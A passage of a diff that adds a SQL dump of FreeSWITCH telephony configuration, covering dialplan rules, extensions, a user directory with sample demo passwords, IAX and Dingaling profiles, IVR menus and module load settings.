+(158, 70, 'delay_echo', '5000', 'action', 1580),
+(159, 71, 'answer', '', 'action', 1590),
+(160, 71, 'echo', '', 'action', 1600),
+(161, 72, 'answer', '', 'action', 1610),
+(162, 72, 'playback', 'tone_stream://%(10000,0,1004);loops=-1', 'action', 1620),
+(163, 73, 'answer', '', 'action', 1630),
+(164, 73, 'playback', 'tone_stream://path=${base_dir}/conf/tetris.ttml;loops=10', 'action', 1640),
+(165, 75, 'answer', '', 'action', 1650),
+(166, 75, 'execute_extension', 'is_secure XML features', 'action', 1660),
+(167, 75, 'playback', '$${hold_music}', 'action', 1670),
+(168, 75, 'answer', '', 'anti-action', 1680),
+(169, 75, 'playback', '$${hold_music}', 'anti-action', 1690);
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_condition`
+--
+
+CREATE TABLE IF NOT EXISTS "dialplan_condition" (
+  "condition_id" int(11) NOT NULL,
+  "extension_id" int(11) NOT NULL,
+  "field" varchar(1238) NOT NULL,
+  "expression" varchar(128) NOT NULL,
+  "weight" int(11) NOT NULL,
+  PRIMARY KEY  ("condition_id")
+) AUTO_INCREMENT=76 ;
+
+--
+-- Dumping data for table `dialplan_condition`
+--
+
+INSERT INTO `dialplan_condition` (`condition_id`, `extension_id`, `field`, `expression`, `weight`) VALUES
+(1, 1, '$${unroll_loops}', '^true$', 10),
+(2, 1, '${sip_looped_call}', '^true$', 20),
+(3, 2, '${domain_name}', '^$', 30),
+(4, 2, 'source', 'mod_sofia', 40),
+(5, 2, '${sip_auth_realm}', '^$', 50),
+(6, 3, '${domain_name}', '^$', 60),
+(7, 3, 'source', 'mod_openzap', 70),
+(8, 4, '${strftime(%w)}', '^([1-5])$', 80),
+(9, 4, '${strftime(%H%M)}', '^((09|1[0-7])[0-5][0-9]|1800)$', 90),
+(10, 5, 'destination_number', '^886$', 100),
+(11, 6, 'destination_number', '^\\*8$', 110),
+(12, 7, 'destination_number', '^\\*\\*(\\d+)$', 120),
+(13, 8, 'destination_number', '^870$', 130),
+(14, 9, '${network_addr}', '^$', 140),
+(15, 9, '${numbering_plan}', '^$', 150),
+(16, 9, '${call_debug}', '^true$', 160),
+(17, 9, '${sip_has_crypto}', '^(AES_CM_128_HMAC_SHA1_32|AES_CM_128_HMAC_SHA1_80)$', 170),
+(18, 9, '', '', 180),
+(19, 10, 'destination_number', '^9001$', 190),
+(20, 11, 'destination_number', '^9000$', 200),
+(21, 12, 'destination_number', '^88(.*)$|^\\*0(.*)$', 210),
+(22, 13, 'destination_number', '^779$', 220),
+(23, 14, 'destination_number', '^\\*69$|^869$|^lcr$', 230),
+(24, 15, 'destination_number', '^80(\\d{2})$', 240),
+(25, 16, 'destination_number', '^81(\\d{2})$', 250),
+(26, 17, 'destination_number', '^82(\\d{2})$', 260),
+(27, 18, 'destination_number', '^83(\\d{2})$', 270),
+(28, 19, 'destination_number', '^8(10[01][0-9])$', 280),
+(29, 20, 'destination_number', '^(20[01][0-9])$', 290),
+(30, 20, 'destination_number', '^${caller_id_number}$', 300),
+(31, 21, 'destination_number', '^3000$', 310),
+(32, 22, 'destination_number', '^3001$', 320),
+(33, 23, 'destination_number', '^3002$', 330),
+(34, 24, 'destination_number', '^operator$|^0$', 340),
+(35, 25, 'destination_number', '^vmain|4000$', 350),
+(36, 26, 'destination_number', '^sip:(.*)$', 360),
+(37, 27, 'destination_number', '^(30\\d{2})$', 370),
+(38, 28, 'destination_number', '^(31\\d{2})$', 380),
+(39, 29, 'destination_number', '^(32\\d{2})$', 390),
+(40, 30, 'destination_number', '^(33\\d{2})$', 400),
+(41, 31, 'destination_number', '^9(888|1616|3232)$', 410),
+(42, 32, 'destination_number', '^0911$', 420),
+(43, 33, 'destination_number', '^0912$', 430),
+(44, 34, 'destination_number', '^0913$', 440),
+(45, 35, 'destination_number', '^5000$', 450),
+(46, 36, 'destination_number', '^5001$', 460),
+(47, 37, 'destination_number', '^pagegroup$|^7243', 470),
+(48, 38, 'destination_number', '^5900$', 480),
+(49, 39, 'destination_number', '^5901$', 490),
+(50, 40, 'source', 'mod_sofia', 500),
+(51, 40, 'destination_number', 'park\\+(\\d+)', 510),
+(52, 41, 'source', 'mod_sofia', 520),
+(53, 41, 'destination_number', '^parking$', 530),
+(54, 41, '${sip_to_params}', 'fifo\\=(\\d+)', 540),
+(55, 42, 'source', 'mod_sofia', 550),
+(56, 42, 'destination_number', 'callpark', 560),
+(57, 42, '${sip_refer_to}', '', 570),
+(58, 43, 'source', 'mod_sofia', 580),
+(59, 43, 'destination_number', 'pickup', 590),
+(60, 43, '${sip_to_params}', 'orbit\\=(\\d+)', 600),
+(61, 44, 'destination_number', '^wait$', 610),
+(62, 45, 'destination_number', '^9980$', 620),
+(63, 46, 'destination_number', '^9981$', 630),
+(64, 47, 'destination_number', '^9982$', 640),
+(65, 48, 'destination_number', '^9983$', 650),
+(66, 49, 'destination_number', '^9984$', 660),
+(67, 50, 'destination_number', '^9992$', 670),
+(68, 51, 'destination_number', '^9993$', 680),
+(69, 52, 'destination_number', '^9994$', 690),
+(70, 53, 'destination_number', '^9995$', 700),
+(71, 54, 'destination_number', '^9996$', 710),
+(72, 55, 'destination_number', '^9997$', 720),
+(73, 56, 'destination_number', '^9998$', 730),
+(74, 57, 'destination_number', '^9999$', 740),
+(75, 57, '${sip_has_crypto}', '^(AES_CM_128_HMAC_SHA1_32|AES_CM_128_HMAC_SHA1_80)$', 750);
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_context`
+--
+
+CREATE TABLE IF NOT EXISTS "dialplan_context" (
+  "context_id" int(11) NOT NULL,
+  "dialplan_id" int(11) NOT NULL,
+  "context" varchar(64) NOT NULL,
+  "weight" int(11) NOT NULL,
+  PRIMARY KEY  ("context_id")
+) AUTO_INCREMENT=3 ;
+
+--
+-- Dumping data for table `dialplan_context`
+--
+
+INSERT INTO `dialplan_context` (`context_id`, `dialplan_id`, `context`, `weight`) VALUES
+(1, 1, 'default', 10),
+(2, 1, 'public', 20);
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_extension`
+--
+
+CREATE TABLE IF NOT EXISTS "dialplan_extension" (
+  "extension_id" int(11) NOT NULL,
+  "context_id" int(11) NOT NULL,
+  "name" varchar(128) NOT NULL,
+  "continue" varchar(32) NOT NULL,
+  "weight" int(11) NOT NULL,
+  PRIMARY KEY  ("extension_id")
+) AUTO_INCREMENT=58 ;
+
+--
+-- Dumping data for table `dialplan_extension`
+--
+
+INSERT INTO `dialplan_extension` (`extension_id`, `context_id`, `name`, `continue`, `weight`) VALUES
+(1, 1, 'unloop', '', 10),
+(2, 1, 'set_domain', 'true', 20),
+(3, 1, 'set_domain_openzap', 'true', 30),
+(4, 1, 'tod_example', 'true', 40),
+(5, 1, 'global-intercept', '', 50),
+(6, 1, 'group-intercept', '', 60),
+(7, 1, 'intercept-ext', '', 70),
+(8, 1, 'redial', '', 80),
+(9, 1, 'global', 'true', 90),
+(10, 1, 'snom-demo-2', '', 100),
+(11, 1, 'snom-demo-1', '', 110),
+(12, 1, 'eavesdrop', '', 120),
+(13, 1, 'eavesdrop', '', 130),
+(14, 1, 'call_return', '', 140),
+(15, 1, 'del-group', '', 150),
+(16, 1, 'add-group', '', 160),
+(17, 1, 'call-group-simo', '', 170),
+(18, 1, 'call-group-order', '', 180),
+(19, 1, 'extension-intercom', '', 190),
+(20, 1, 'Local_Extension', '', 200),
+(21, 1, 'group_dial_sales', '', 210),
+(22, 1, 'group_dial_support', '', 220),
+(23, 1, 'group_dial_billing', '', 230),
+(24, 1, 'operator', '', 240),
+(25, 1, 'vmain', '', 250),
+(26, 1, 'sip_uri', '', 260),
+(27, 1, 'nb_conferences', '', 270),
+(28, 1, 'wb_conferences', '', 280),
+(29, 1, 'uwb_conferences', '', 290),
+(30, 1, 'cdquality_conferences', '', 300),
+(31, 1, 'freeswitch_public_conf_via_sip', '', 310),
+(32, 1, 'mad_boss_intercom', '', 320),
+(33, 1, 'mad_boss_intercom', '', 330),
+(34, 1, 'mad_boss', '', 340),
+(35, 1, 'ivr_demo', '', 350),
+(36, 1, 'dyanmic conference', '', 360),
+(37, 1, 'rtp_multicast_page', '', 370),
+(38, 1, 'park', '', 380),
+(39, 1, 'unpark', '', 390),
+(40, 1, 'park', '', 400),
+(41, 1, 'unpark', '', 410),
+(42, 1, 'park', '', 420),
+(43, 1, 'unpark', '', 430),
+(44, 1, 'wait', '', 440),
+(45, 1, 'ringback_180', '', 450),
+(46, 1, 'ringback_183_uk_ring', '', 460),
+(47, 1, 'ringback_183_music_ring', '', 470),
+(48, 1, 'ringback_post_answer_uk_ring', '', 480),
+(49, 1, 'ringback_post_answer_music', '', 490),
+(50, 1, 'show_info', '', 500),
+(51, 1, 'video_record', '', 510),
+(52, 1, 'video_playback', '', 520),
+(53, 1, 'delay_echo', '', 530),
+(54, 1, 'echo', '', 540),
+(55, 1, 'milliwatt', '', 550),
+(56, 2, 'tone_stream', '', 560),
+(57, 2, 'hold_music', '', 570);
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_special`
+--
+
+CREATE TABLE IF NOT EXISTS "dialplan_special" (
+  "id" int(11) NOT NULL,
+  "context" varchar(255) NOT NULL,
+  "class_file" varchar(255) NOT NULL,
+  PRIMARY KEY  ("id"),
+  UNIQUE KEY "unique_context" ("context")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dialplan_special`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dingaling_profiles`
+--
+
+CREATE TABLE IF NOT EXISTS "dingaling_profiles" (
+  "id" int(10) unsigned NOT NULL,
+  "profile_name" varchar(64) NOT NULL,
+  "type" varchar(64) NOT NULL,
+  PRIMARY KEY  ("id"),
+  UNIQUE KEY "unique_name" ("profile_name")
+) AUTO_INCREMENT=2 ;
+
+--
+-- Dumping data for table `dingaling_profiles`
+--
+
+INSERT INTO `dingaling_profiles` (`id`, `profile_name`, `type`) VALUES
+(1, 'fs.intralanman.servehttp.com', 'component');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dingaling_profile_params`
+--
+
+CREATE TABLE IF NOT EXISTS "dingaling_profile_params" (
+  "id" int(10) unsigned NOT NULL,
+  "dingaling_id" int(10) unsigned NOT NULL,
+  "param_name" varchar(64) NOT NULL,
+  "param_value" varchar(64) NOT NULL,
+  PRIMARY KEY  ("id"),
+  UNIQUE KEY "unique_type_name" ("dingaling_id","param_name")
+) AUTO_INCREMENT=5 ;
+
+--
+-- Dumping data for table `dingaling_profile_params`
+--
+
+INSERT INTO `dingaling_profile_params` (`id`, `dingaling_id`, `param_name`, `param_value`) VALUES
+(1, 1, 'password', 'secret'),
+(2, 1, 'dialplan', 'XML,enum'),
+(3, 1, 'server', 'example.org'),
+(4, 1, 'name', 'fs.example.org');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dingaling_settings`
+--
+
+CREATE TABLE IF NOT EXISTS "dingaling_settings" (
+  "id" int(10) unsigned NOT NULL,
+  "param_name" varchar(64) NOT NULL,
+  "param_value" varchar(64) NOT NULL,
+  PRIMARY KEY  ("id"),
+  UNIQUE KEY "unique_param" ("param_name")
+) AUTO_INCREMENT=3 ;
+
+--
+-- Dumping data for table `dingaling_settings`
+--
+
+INSERT INTO `dingaling_settings` (`id`, `param_name`, `param_value`) VALUES
+(1, 'debug', '0'),
+(2, 'codec-prefs', '$${global_codec_prefs}');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory`
+--
+
+CREATE TABLE IF NOT EXISTS "directory" (
+  "id" int(11) NOT NULL,
+  "username" varchar(255) NOT NULL,
+  "domain" varchar(255) NOT NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=12 ;
+
+--
+-- Dumping data for table `directory`
+--
+
+INSERT INTO `directory` (`id`, `username`, `domain`) VALUES
+(1, '1000', 'example.com'),
+(2, '1001', 'example.org'),
+(3, '1002', 'example.net'),
+(5, '1003', 'example.info'),
+(6, '1004', 'example.com'),
+(7, '1005', 'example.org'),
+(8, '1006', 'example.net'),
+(9, '1007', 'example.info'),
+(10, '2000', 'default'),
+(11, '1009', '$${local_ip_v4}');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_domains`
+--
+
+CREATE TABLE IF NOT EXISTS "directory_domains" (
+  "id" int(10) unsigned NOT NULL,
+  "domain_name" varchar(128) NOT NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=3 ;
+
+--
+-- Dumping data for table `directory_domains`
+--
+
+INSERT INTO `directory_domains` (`id`, `domain_name`) VALUES
+(1, 'freeswitch.org'),
+(2, 'sofaswitch.org');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_gateways`
+--
+
+CREATE TABLE IF NOT EXISTS "directory_gateways" (
+  "id" int(10) unsigned NOT NULL,
+  "directory_id" int(10) unsigned NOT NULL,
+  "gateway_name" varchar(128) NOT NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_gateways`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_gateway_params`
+--
+
+CREATE TABLE IF NOT EXISTS "directory_gateway_params" (
+  "id" int(10) unsigned NOT NULL,
+  "d_gw_id" int(10) unsigned NOT NULL,
+  "param_name" varchar(64) NOT NULL,
+  "param_value" varchar(64) NOT NULL,
+  PRIMARY KEY  ("id"),
+  UNIQUE KEY "unique_gw_param" ("d_gw_id","param_name")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_gateway_params`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_global_params`
+--
+
+CREATE TABLE IF NOT EXISTS "directory_global_params" (
+  "id" int(10) unsigned NOT NULL,
+  "param_name" varchar(64) NOT NULL,
+  "param_value" varchar(128) NOT NULL,
+  "domain_id" int(10) unsigned NOT NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=2 ;
+
+--
+-- Dumping data for table `directory_global_params`
+--
+
+INSERT INTO `directory_global_params` (`id`, `param_name`, `param_value`, `domain_id`) VALUES
+(1, 'default_gateway', 'errors', 1);
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_global_vars`
+--
+
+CREATE TABLE IF NOT EXISTS "directory_global_vars" (
+  "id" int(10) unsigned NOT NULL,
+  "var_name" varchar(64) NOT NULL,
+  "var_value" varchar(128) NOT NULL,
+  "domain_id" int(10) unsigned NOT NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_global_vars`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_params`
+--
+
+CREATE TABLE IF NOT EXISTS "directory_params" (
+  "id" int(11) NOT NULL,
+  "directory_id" int(11) default NULL,
+  "param_name" varchar(255) default NULL,
+  "param_value" varchar(255) default NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=23 ;
+
+--
+-- Dumping data for table `directory_params`
+--
+
+INSERT INTO `directory_params` (`id`, `directory_id`, `param_name`, `param_value`) VALUES
+(1, 1, 'password', '1234'),
+(2, 1, 'vm-password', '861000'),
+(3, 2, 'password', '1234'),
+(4, 2, 'vm-password', '861001'),
+(7, 5, 'password', '1234'),
+(8, 6, 'password', '1234'),
+(9, 7, 'password', '1234'),
+(10, 8, 'password', '123456'),
+(11, 9, 'password', '1234'),
+(12, 10, 'password', '123456'),
+(13, 11, 'password', '1234'),
+(14, 3, 'vm-password', '861002'),
+(15, 3, 'password', '1234'),
+(16, 11, 'vm-password', '861009'),
+(17, 10, 'vm-password', '1234'),
+(18, 9, 'vm-password', '861007'),
+(19, 8, 'vm-password', '861006'),
+(20, 7, 'vm-password', '861005'),
+(21, 6, 'vm-password', '861004'),
+(22, 5, 'vm-password', '861003');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_vars`
+--
+
+CREATE TABLE IF NOT EXISTS "directory_vars" (
+  "id" int(11) NOT NULL,
+  "directory_id" int(11) default NULL,
+  "var_name" varchar(255) default NULL,
+  "var_value" varchar(255) default NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=6 ;
+
+--
+-- Dumping data for table `directory_vars`
+--
+
+INSERT INTO `directory_vars` (`id`, `directory_id`, `var_name`, `var_value`) VALUES
+(1, 1, 'numbering_plan', 'US'),
+(2, 2, 'numbering_plan', 'US'),
+(3, 3, 'numbering_plan', 'AU'),
+(4, 5, 'numbering_plan', 'US'),
+(5, 5, 'area_code', '434');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `iax_conf`
+--
+
+CREATE TABLE IF NOT EXISTS "iax_conf" (
+  "id" int(11) NOT NULL,
+  "profile_name" varchar(255) default NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=4 ;
+
+--
+-- Dumping data for table `iax_conf`
+--
+
+INSERT INTO `iax_conf` (`id`, `profile_name`) VALUES
+(3, 'test_profile');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `iax_settings`
+--
+
+CREATE TABLE IF NOT EXISTS "iax_settings" (
+  "id" int(11) NOT NULL,
+  "iax_id" int(11) default NULL,
+  "param_name" varchar(255) default NULL,
+  "param_value" varchar(255) default NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=43 ;
+
+--
+-- Dumping data for table `iax_settings`
+--
+
+INSERT INTO `iax_settings` (`id`, `iax_id`, `param_name`, `param_value`) VALUES
+(35, 3, 'debug', '1'),
+(36, 3, 'ip', '$${local_ip_v4}'),
+(37, 3, 'port', '4569'),
+(38, 3, 'context', 'public'),
+(39, 3, 'dialplan', 'enum,XML'),
+(40, 3, 'codec-prefs', '$${global_codec_prefs}'),
+(41, 3, 'codec-master', 'us'),
+(42, 3, 'codec-rate', '8');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `ivr_conf`
+--
+
+CREATE TABLE IF NOT EXISTS "ivr_conf" (
+  "id" int(10) unsigned NOT NULL,
+  "name" varchar(64) NOT NULL,
+  "greet_long" varchar(255) NOT NULL,
+  "greet_short" varchar(255) NOT NULL,
+  "invalid_sound" varchar(255) NOT NULL,
+  "exit_sound" varchar(255) NOT NULL,
+  "max_failures" int(10) unsigned NOT NULL default '3',
+  "timeout" int(11) NOT NULL default '5',
+  "tts_engine" varchar(64) default NULL,
+  "tts_voice" varchar(64) default NULL,
+  PRIMARY KEY  ("id"),
+  UNIQUE KEY "unique_name" ("name")
+) AUTO_INCREMENT=4 ;
+
+--
+-- Dumping data for table `ivr_conf`
+--
+
+INSERT INTO `ivr_conf` (`id`, `name`, `greet_long`, `greet_short`, `invalid_sound`, `exit_sound`, `max_failures`, `timeout`, `tts_engine`, `tts_voice`) VALUES
+(1, 'demo', 'soundfiles/ivr/demo/greet-long.wav', 'soundfiles/ivr/demo/greet-short.wav', 'soundfiles/ivr/invalid.wav', 'soundfiles/ivr/exit.wav', 3, 5, 'cepstral', 'allison'),
+(2, 'demo2', 'soundfiles/ivr/demo2/greet-long.wav', 'soundfiles/ivr/demo2/greet-short.wav', 'soundfiles/ivr/invalid.wav', 'soundfiles/ivr/exit.wav', 3, 5, NULL, NULL),
+(3, 'menu8', 'soundfiles/ivr/menu8/greet-long.wav', 'soundfiles/ivr/menu8/greet-short.wav', 'soundfiles/ivr/menu8/invalid.wav', 'soundfiles/ivr/menu8/exit.wav', 3, 5, NULL, NULL);
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `ivr_entries`
+--
+
+CREATE TABLE IF NOT EXISTS "ivr_entries" (
+  "id" int(10) unsigned NOT NULL,
+  "ivr_id" int(10) unsigned NOT NULL,
+  "action" varchar(64) NOT NULL,
+  "digits" varchar(16) NOT NULL,
+  "params" varchar(255) default NULL,
+  PRIMARY KEY  ("id"),
+  UNIQUE KEY "unique_ivr_digits" ("ivr_id","digits")
+) AUTO_INCREMENT=11 ;
+
+--
+-- Dumping data for table `ivr_entries`
+--
+
+INSERT INTO `ivr_entries` (`id`, `ivr_id`, `action`, `digits`, `params`) VALUES
+(1, 1, 'menu-play-sound', '1', 'soundfiles/features.wav'),
+(2, 1, 'menu-exit', '*', NULL),
+(3, 1, 'menu-sub', '2', 'demo2'),
+(4, 1, 'menu-exec-api', '3', 'bridge sofia/$${domain}/888@conference.freeswtich.org'),
+(5, 1, 'menu-call-transfer', '4', '888'),
+(6, 2, 'menu-back', '#', NULL),
+(7, 2, 'menu-top', '*', NULL),
+(8, 3, 'menu-back', '#', NULL),
+(9, 3, 'menu-top', '*', NULL),
+(10, 3, 'menu-playsound', '4', 'soundfiles/4.wav');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `limit_conf`
+--
+
+CREATE TABLE IF NOT EXISTS "limit_conf" (
+  "id" int(11) NOT NULL,
+  "name" varchar(255) default NULL,
+  "value" varchar(255) default NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=2 ;
+
+--
+-- Dumping data for table `limit_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `limit_data`
+--
+
+CREATE TABLE IF NOT EXISTS "limit_data" (
+  "hostname" varchar(255) default NULL,
+  "realm" varchar(255) default NULL,
+  "id" varchar(255) default NULL,
+  "uuid" varchar(255) default NULL
+);
+
+--
+-- Dumping data for table `limit_data`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `local_stream_conf`
+--
+
+CREATE TABLE IF NOT EXISTS "local_stream_conf" (
+  "id" int(11) NOT NULL,
+  "directory_name" varchar(255) default NULL,
+  "directory_path" text,
+  "param_name" varchar(255) default NULL,
+  "param_value" varchar(255) default NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `local_stream_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `modless_conf`
+--
+
+CREATE TABLE IF NOT EXISTS "modless_conf" (
+  "id" int(10) unsigned NOT NULL,
+  "conf_name" varchar(64) NOT NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=4 ;
+
+--
+-- Dumping data for table `modless_conf`
+--
+
+INSERT INTO `modless_conf` (`id`, `conf_name`) VALUES
+(1, 'acl.conf'),
+(2, 'postl_load_switch.conf'),
+(3, 'post_load_modules.conf');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `post_load_modules_conf`
+--
+
+CREATE TABLE IF NOT EXISTS "post_load_modules_conf" (
+  "id" int(10) unsigned NOT NULL,
+  "module_name" varchar(64) NOT NULL,
+  "load_module" tinyint(1) NOT NULL default '1',
+  "priority" int(10) unsigned NOT NULL default '1000',
+  PRIMARY KEY  ("id"),
+  UNIQUE KEY "unique_mod" ("module_name")
+) AUTO_INCREMENT=54 ;
+
+--
+-- Dumping data for table `post_load_modules_conf`
+--
+
+INSERT INTO `post_load_modules_conf` (`id`, `module_name`, `load_module`, `priority`) VALUES
+(1, 'mod_sofia', 1, 2000),
+(2, 'mod_iax', 1, 2000),
+(3, 'mod_xml_rpc', 1, 100),
+(4, 'mod_portaudio', 1, 1000),
+(5, 'mod_enum', 1, 2000),
+(6, 'mod_xml_cdr', 1, 1000),
+(7, 'mod_spidermonkey', 1, 1000),
+(8, 'mod_alsa', 0, 1000),
+(9, 'mod_log_file', 1, 0),
+(10, 'mod_commands', 1, 1000),
+(11, 'mod_voicemail', 1, 1000),
+(12, 'mod_dialplan_xml', 1, 150),
+(13, 'mod_dialplan_asterisk', 1, 150),
+(14, 'mod_openzap', 0, 1000),
+(15, 'mod_woomera', 0, 1000),
+(17, 'mod_speex', 1, 500),
+(18, 'mod_ilbc', 0, 1000),
+(20, 'mod_g723_1', 1, 500),
+(21, 'mod_g729', 1, 500),
+(22, 'mod_g722', 1, 500),
+(23, 'mod_g726', 1, 500),
+(25, 'mod_amr', 1, 500),
+(26, 'mod_fifo', 1, 1000),
+(27, 'mod_limit', 1, 1000),
+(28, 'mod_syslog', 1, 0),
+(29, 'mod_dingaling', 1, 2000),
+(30, 'mod_cdr_csv', 1, 1000),
+(31, 'mod_event_socket', 1, 100),
+(32, 'mod_multicast', 0, 1000),
+(33, 'mod_zeroconf', 0, 1000),
+(34, 'mod_xmpp_event', 0, 1000),
+(35, 'mod_sndfile', 1, 1000),
+(36, 'mod_native_file', 1, 1000),
+(37, 'mod_shout', 1, 1000),
+(38, 'mod_local_stream', 1, 1000),
+(39, 'mod_perl', 0, 1000),
+(40, 'mod_python', 0, 1000),
+(41, 'mod_java', 0, 1000),
+(42, 'mod_cepstral', 0, 1000),
+(43, 'mod_openmrcp', 0, 1000),
+(44, 'mod_lumenvox', 0, 1000),
+(45, 'mod_rss', 0, 1000),
+(46, 'mod_say_de', 1, 1000),
+(47, 'mod_say_fr', 0, 1000),
+(48, 'mod_say_en', 1, 1000),
+(49, 'mod_conference', 1, 1000),
+(50, 'mod_ivr', 0, 1000),
+(51, 'mod_console', 1, 0),
+(52, 'mod_dptools', 1, 1500),
+(53, 'mod_voipcodecs', 1, 500);
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `rss_conf`
+--
+
+CREATE TABLE IF NOT EXISTS "rss_conf" (
+  "id" int(11) NOT NULL,
+  "directory_id" int(11) NOT NULL,
+  "feed" text NOT NULL,
+  "local_file" text NOT NULL,
+  "description" text,
+  "priority" int(11) NOT NULL default '1000',
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=15 ;
+
+--
+-- Dumping data for table `rss_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sip_authentication`
+--
+
+CREATE TABLE IF NOT EXISTS "sip_authentication" (
+  "nonce" varchar(255) default NULL,
+  "expires" int(11) default NULL
+);
+
+--
+-- Dumping data for table `sip_authentication`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sip_dialogs`
+--
+
+CREATE TABLE IF NOT EXISTS "sip_dialogs" (
+  "call_id" varchar(255) default NULL,
+  "uuid" varchar(255) default NULL,
+  "sip_to_user" varchar(255) default NULL,
+  "sip_to_host" varchar(255) default NULL,
+  "sip_from_user" varchar(255) default NULL,
+  "sip_from_host" varchar(255) default NULL,
+  "contact_user" varchar(255) default NULL,
+  "contact_host" varchar(255) default NULL,
+  "state" varchar(255) default NULL,
+  "direction" varchar(255) default NULL,
+  "user_agent" varchar(255) default NULL
+);
+
+--
+-- Dumping data for table `sip_dialogs`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sip_registrations`
+--
+
+CREATE TABLE IF NOT EXISTS "sip_registrations" (
+  "call_id" varchar(255) default NULL,
+  "sip_user" varchar(255) default NULL,
+  "sip_host" varchar(255) default NULL,
+  "contact" varchar(1024) default NULL,
+  "status" varchar(255) default NULL,
+  "rpid" varchar(255) default NULL,
+  "expires" int(11) default NULL,
+  "user_agent" varchar(255) default NULL
+);
+
+--
+-- Dumping data for table `sip_registrations`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sip_subscriptions`
+--
+
+CREATE TABLE IF NOT EXISTS "sip_subscriptions" (
+  "proto" varchar(255) default NULL,
+  "sip_user" varchar(255) default NULL,
+  "sip_host" varchar(255) default NULL,
+  "sub_to_user" varchar(255) default NULL,
+  "sub_to_host" varchar(255) default NULL,
+  "event" varchar(255) default NULL,
+  "contact" varchar(1024) default NULL,
+  "call_id" varchar(255) default NULL,
+  "full_from" varchar(255) default NULL,
+  "full_via" varchar(255) default NULL,
+  "expires" int(11) default NULL,
+  "user_agent" varchar(255) default NULL,
+  "accept" varchar(255) default NULL
+);
+
+--
+-- Dumping data for table `sip_subscriptions`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_aliases`
+--
+
+CREATE TABLE IF NOT EXISTS "sofia_aliases" (
+  "id" int(10) unsigned NOT NULL,
+  "sofia_id" int(10) unsigned NOT NULL,
+  "alias_name" varchar(255) NOT NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=4 ;
+
+--
+-- Dumping data for table `sofia_aliases`
+--
+
+INSERT INTO `sofia_aliases` (`id`, `sofia_id`, `alias_name`) VALUES
+(1, 1, 'default'),
+(3, 1, 'sip.example.com');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_conf`
+--
+
+CREATE TABLE IF NOT EXISTS "sofia_conf" (
+  "id" int(11) NOT NULL,
+  "profile_name" varchar(255) default NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=2 ;
+
+--
+-- Dumping data for table `sofia_conf`
+--
+
+INSERT INTO `sofia_conf` (`id`, `profile_name`) VALUES
+(1, '$${domain}');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_domains`
+--
+
+CREATE TABLE IF NOT EXISTS "sofia_domains" (
+  "id" int(11) NOT NULL,
+  "sofia_id" int(11) default NULL,
+  "domain_name" varchar(255) default NULL,
+  "parse" tinyint(1) default NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `sofia_domains`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_gateways`
+--
+
+CREATE TABLE IF NOT EXISTS "sofia_gateways" (
+  "id" int(11) NOT NULL,
+  "sofia_id" int(11) default NULL,
+  "gateway_name" varchar(255) default NULL,
+  "gateway_param" varchar(255) default NULL,
+  "gateway_value" varchar(255) default NULL,
+  PRIMARY KEY  ("id")
+) AUTO_INCREMENT=15 ;
+
+--
+-- Dumping data for table `sofia_gateways`
+--
+
+INSERT INTO `sofia_gateways` (`id`, `sofia_id`, `gateway_name`, `gateway_param`, `gateway_value`) VALUES
+(8, 1, 'default', 'proxy', 'asterlink.com'),
